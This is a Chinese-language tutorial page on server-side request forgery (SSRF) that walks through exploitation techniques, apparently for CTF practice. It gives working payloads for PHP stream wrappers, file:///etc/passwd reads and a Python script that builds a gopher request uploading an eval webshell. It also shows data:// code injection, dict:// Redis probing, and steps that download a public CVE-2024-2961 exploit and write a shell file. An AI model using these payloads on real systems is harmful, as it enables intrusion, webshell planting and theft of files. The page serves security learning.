跳到主要内容

SSRF漏洞

作者修订时间
wjlin02025-10-15 00:32:16

漏洞介绍

SSRF:全称 Server-Side Request Forgery,即 服务器端请求伪造。是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简单来说就是利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网进行攻击。

漏洞原理

SSRF全称为Server-side Request Fogery,中文含义为服务器端请求伪造,漏洞产生的原因是服务端提供了能够从其他服务器应用获取数据的功能,比如从指定的URL地址获取网页内容,加载指定地址的图片、数据、下载等等。漏洞URL示例: http://xxx.com/api/readFiles?url=http://10.1.11/xxx

漏洞利用

内网访问

使用http协议对内网的Web应用进行访问

?url=http://127.0.0.1/flag.php

PHP伪协议利用

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
dict:// - dict

1.php://协议

php://filter
php://input
php://filter

在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,主要用于读取源代码并进行base64编码输出。 payload如下:

php://filter/read=convert.base64-encode/resource=upload.php

利用CVE-2024-2961可RCE

php://input

访问各个输入/输出流。CTF中经常使用file_get_contents获取php://input内容(POST),需要开启allow_url_include,并且当enctype=”multipart/form-data”的时候 php://input是无效的。

php://output

php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。

php://memory&php://temp

php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。 两者的唯一区别是 php://memory 总是把数据储存在内存中, 而 php://temp 会在内存量达到预定义的限制后(默认是 2MB)存入临时文件中。 临时文件位置的决定和 sys_get_temp_dir() 的方式一致。 php://temp 的内存限制可通过添加 /maxmemory:NN 来控制,NN 是以字节为单位、保留在内存的最大数据量,超过则使用临时文件。

php://fd

2.file://协议

file://:用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响,file://还经常和curl函数(SSRF)结合在一起。例子一,例子二 使用方法:

file:// [文件的绝对路径和文件名]
file:///etc/passwd

ssrf poc gopher

import urllib.parse

a = \
"""POST /index.php HTTP/1.1
Host: 127.0.0.2:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:107.0) Gecko/20100101 Firefox/107.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------21311722966185605194227162997
Content-Length: 365
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="upfile"; filename="cmd.png"
Content-Type: image/png


<?php @eval($_POST['cmd']);?>
-----------------------------21311722966185605194227162997
Content-Disposition: form-data; name="submit"

上传
-----------------------------21311722966185605194227162997--
"""

tmp = urllib.parse.quote(a)
b = tmp.replace('%0A','%0D%0A')
res = '_'+b
print("gopher://127.0.0.2:8080/"+res)

3.phar://协议

phar://:PHP 归档,常常跟文件包含,文件上传结合着考察。当文件上传仅仅校验mime类型与文件后缀,可以通过以下命令进行利用。例子一

nac.php(木马)->压缩->nac.zip->改后缀->nac.jpg->上传->phar://nac.jpg/nac.php

4.zlib://协议

zip://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
file.php?file=zip://nac.jpg#nac.php 其中get请求中#需要进行编码,即%23

bzip2://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=compress.bzip2://nac.bz2
file.php?file=compress.bzip2://./nac.jpg
file.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

zlib://:在allow_url_fopen,allow_url_include都关闭的情况下可以正常使用,使用如下:

file.php?file=compress.zlib://file.gz
file.php?file=compress.zlib://./nac.jpg
file.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

5.data://协议

data://:需满足allow_url_fopen,allow_url_include同时开启才能使用,使用如下:

file.php?file=data://text/plain,<?php phpinfo()?>
file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
file.php?file=data:text/plain,<?php phpinfo()?>
file.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

6.phar和zip

https://kit4y.github.io/2020/01/04/phar-de-li-yong-zi-shi/

CVE-2024-2961

利用php://filtericonv()函数2.39进行RCE

https://github.com/vulhub/vulhub/blob/master/php/CVE-2024-2961/README.zh-cn.md

在使用原作者给出的exploit前,你需要准备一个Linux环境和Python 3.10解释器。

安装依赖:

pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip

然后从cnext-exploit下载POC并执行:

wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"

1

可见,我们已经成功写入shell.php

2

Gopher

gopher:gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

公网IP的VPS监听 2333 端口

[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333

利用 gopher 协议访问

浏览器直接访问或者用 curl url

http://127.0.0.1/ssrf.php?url=gopher://66.112.213.76:2333/_hello

收到回显

[root@host ~]# nc -lvp 2333
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on :::2333
Ncat: Listening on 0.0.0.0:2333
Ncat: Connection from 183.xxx.xxx.xxx.
Ncat: Connection from 183.xxx.xxx.xxx:9661.
hello

Dict

因为此处 ssrf.php 的漏洞代码有回显,所以浏览器直接访问

http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info

或者终端

curl http://127.0.0.1/ssrf.php?url=dict://127.0.0.1:6379/info

可以获取Redis的配置信息

Redis配置

同理也可以添加或者查看Redis的信息

查看Redis存储的内容

2

CVE-2021-21287

https://www.leavesongs.com/PENETRATION/the-collision-of-containers-and-the-cloud-pentesting-a-MinIO.html

Reference